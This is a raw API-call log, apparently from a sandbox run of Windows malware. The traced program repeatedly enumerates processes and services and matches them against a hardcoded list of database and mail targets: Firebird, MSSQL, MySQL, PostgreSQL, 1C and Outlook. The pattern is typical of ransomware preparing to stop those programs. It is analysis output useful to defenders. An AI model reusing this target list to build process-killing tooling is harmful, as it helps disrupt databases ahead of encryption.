lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0266.196] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0266.196] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0266.196] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0266.196] lstrlenW (lpString="UxSms") returned 5 [0266.197] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0266.197] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0266.197] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0266.197] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0266.197] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0266.197] lstrlenW (lpString="WdiServiceHost") returned 14 [0266.197] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0266.197] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0266.197] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0266.197] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0266.197] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0266.197] lstrlenW (lpString="WdiSystemHost") returned 13 [0266.197] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0266.198] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0266.198] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0266.198] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0266.198] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0266.198] lstrlenW (lpString="Winmgmt") returned 7 [0266.198] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0266.198] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0266.198] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0266.198] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0266.198] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0266.198] lstrlenW (lpString="WPDBusEnum") returned 10 [0266.198] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0266.198] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0266.199] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0266.199] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0266.199] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0266.199] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x42e5000 | out: hHeap=0x590000) returned 1 [0266.199] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x320 [0266.203] Process32FirstW (in: hSnapshot=0x320, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0266.204] Process32NextW (in: hSnapshot=0x320, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x53, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0266.205] lstrlenW (lpString="System") returned 6 [0266.205] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0266.205] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0266.205] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0266.205] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0266.205] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0266.205] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0266.206] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0266.206] Process32NextW (in: hSnapshot=0x320, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0266.206] lstrlenW (lpString="smss.exe") returned 8 [0266.206] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0266.206] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0266.206] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0266.207] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0266.207] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0266.207] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0266.207] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0266.207] Process32NextW (in: hSnapshot=0x320, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0266.297] lstrlenW (lpString="csrss.exe") returned 9 [0266.297] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0266.297] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0266.297] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0266.298] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0266.298] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0266.298] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0266.298] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0266.298] Process32NextW (in: hSnapshot=0x320, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0266.299] lstrlenW (lpString="wininit.exe") returned 11 [0266.299] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0266.299] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0266.299] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0266.299] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0266.299] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0266.299] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0266.299] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0266.299] Process32NextW (in: hSnapshot=0x320, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0266.300] lstrlenW (lpString="csrss.exe") returned 9 [0266.300] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0266.301] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0266.301] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0266.301] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0266.301] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0266.301] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0266.301] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0266.301] Process32NextW (in: hSnapshot=0x320, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0266.302] lstrlenW (lpString="winlogon.exe") returned 12 [0266.303] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0266.303] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0266.303] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0266.303] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0266.303] Process32NextW (in: hSnapshot=0x320, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0266.304] lstrlenW (lpString="services.exe") returned 12 [0266.304] Process32NextW (in: hSnapshot=0x320, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0266.305] lstrlenW (lpString="lsass.exe") returned 9 [0266.306] Process32NextW (in: hSnapshot=0x320, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0266.307] lstrlenW (lpString="lsm.exe") returned 7 [0266.307] Process32NextW (in: hSnapshot=0x320, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0266.308] lstrlenW (lpString="svchost.exe") returned 11 [0266.308] Process32NextW (in: hSnapshot=0x320, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0266.309] lstrlenW (lpString="svchost.exe") returned 11 [0266.309] Process32NextW (in: hSnapshot=0x320, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0266.310] lstrlenW (lpString="svchost.exe") returned 11 [0266.311] Process32NextW (in: hSnapshot=0x320, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0266.312] lstrlenW (lpString="svchost.exe") returned 11 [0266.312] Process32NextW (in: hSnapshot=0x320, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0266.313] lstrlenW (lpString="svchost.exe") returned 11 [0266.313] Process32NextW (in: hSnapshot=0x320, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0266.314] lstrlenW (lpString="audiodg.exe") returned 11 [0266.314] Process32NextW (in: hSnapshot=0x320, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0266.315] lstrlenW (lpString="svchost.exe") returned 11 [0266.315] Process32NextW (in: hSnapshot=0x320, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0266.316] lstrlenW (lpString="explorer.exe") returned 12 [0266.317] Process32NextW (in: hSnapshot=0x320, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0266.318] lstrlenW (lpString="dwm.exe") returned 7 [0266.318] Process32NextW (in: hSnapshot=0x320, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0266.319] lstrlenW (lpString="svchost.exe") returned 11 [0266.319] Process32NextW (in: hSnapshot=0x320, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0266.320] lstrlenW (lpString="winhost.exe") returned 11 [0266.320] Process32NextW (in: hSnapshot=0x320, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0266.321] lstrlenW (lpString="spoolsv.exe") returned 11 [0266.321] Process32NextW (in: hSnapshot=0x320, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x580, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0266.322] lstrlenW (lpString="svchost.exe") returned 11 [0266.323] Process32NextW (in: hSnapshot=0x320, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0266.323] lstrlenW (lpString="taskhost.exe") returned 12 [0266.324] Process32NextW (in: hSnapshot=0x320, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0266.324] lstrlenW (lpString="reader_sl.exe") returned 13 [0266.325] Process32NextW (in: hSnapshot=0x320, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1c8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0266.326] lstrlenW (lpString="taskhost.exe") returned 12 [0266.326] Process32NextW (in: hSnapshot=0x320, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0266.327] lstrlenW (lpString="dllhost.exe") returned 11 [0266.327] Process32NextW (in: hSnapshot=0x320, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x368, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0266.328] lstrlenW (lpString="consent.exe") returned 11 [0266.328] Process32NextW (in: hSnapshot=0x320, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x368, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 0 [0266.329] CloseHandle (hObject=0x320) returned 1 [0266.329] Sleep (dwMilliseconds=0x1f4) [0267.013] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x62e388 [0267.014] EnumServicesStatusExW (in: hSCManager=0x62e388, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0) returned 0 [0267.015] GetLastError () returned 0xea [0267.015] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x113e) returned 0x42e5000 [0267.016] EnumServicesStatusExW (in: hSCManager=0x62e388, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x42e5000, cbBufSize=0x113e, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x42e5000, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0) returned 1 [0267.017] CloseServiceHandle (hSCObject=0x62e388) returned 1 [0267.018] lstrlenW (lpString="Appinfo") returned 7 [0267.018] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0267.018] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0267.018] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0267.018] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0267.018] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0267.018] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0267.018] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0267.018] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0267.018] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0267.019] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0267.019] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0267.022] lstrlenW (lpString="AudioSrv") returned 8 [0267.022] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0267.022] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0267.023] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0267.023] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0267.023] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0267.023] lstrlenW (lpString="BFE") returned 3 [0267.023] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0267.023] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0267.023] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0267.023] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0267.023] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0267.023] lstrlenW (lpString="CryptSvc") returned 8 [0267.023] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0267.023] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0267.023] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0267.023] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0267.023] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0267.023] lstrlenW (lpString="CscService") returned 10 [0267.024] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0267.024] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0267.024] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0267.024] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0267.024] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0267.024] lstrlenW (lpString="DcomLaunch") returned 10 [0267.024] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0267.024] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0267.024] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0267.024] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0267.024] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0267.024] lstrlenW (lpString="Dhcp") returned 4 [0267.024] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0267.024] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0267.024] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0267.025] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0267.025] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0267.025] lstrlenW (lpString="Dnscache") returned 8 [0267.025] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0267.025] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0267.025] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0267.025] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0267.025] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0267.025] lstrlenW (lpString="DPS") returned 3 [0267.025] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0267.025] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0267.025] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0267.026] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0267.026] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0267.026] lstrlenW (lpString="eventlog") returned 8 [0267.026] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0267.026] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0267.026] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0267.026] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0267.026] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0267.026] lstrlenW (lpString="EventSystem") returned 11 [0267.026] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0267.026] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0267.026] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0267.026] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0267.026] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0267.027] lstrlenW (lpString="gpsvc") returned 5 [0267.027] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0267.027] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0267.027] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0267.027] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0267.027] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0267.027] lstrlenW (lpString="iphlpsvc") returned 8 [0267.027] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0267.027] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0267.027] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0267.027] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0267.027] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0267.027] lstrlenW (lpString="LanmanServer") returned 12 [0267.027] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0267.028] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0267.028] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0267.028] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0267.028] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0267.028] lstrlenW (lpString="LanmanWorkstation") returned 17 [0267.028] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0267.028] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0267.028] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0267.028] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0267.029] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0267.029] lstrlenW (lpString="lmhosts") returned 7 [0267.029] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0267.029] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0267.029] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0267.029] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0267.029] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0267.029] lstrlenW (lpString="MMCSS") returned 5 [0267.029] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0267.029] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0267.029] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0267.030] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0267.030] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0267.030] lstrlenW (lpString="MpsSvc") returned 6 [0267.030] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0267.030] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0267.030] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0267.030] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0267.030] lstrcmpiW 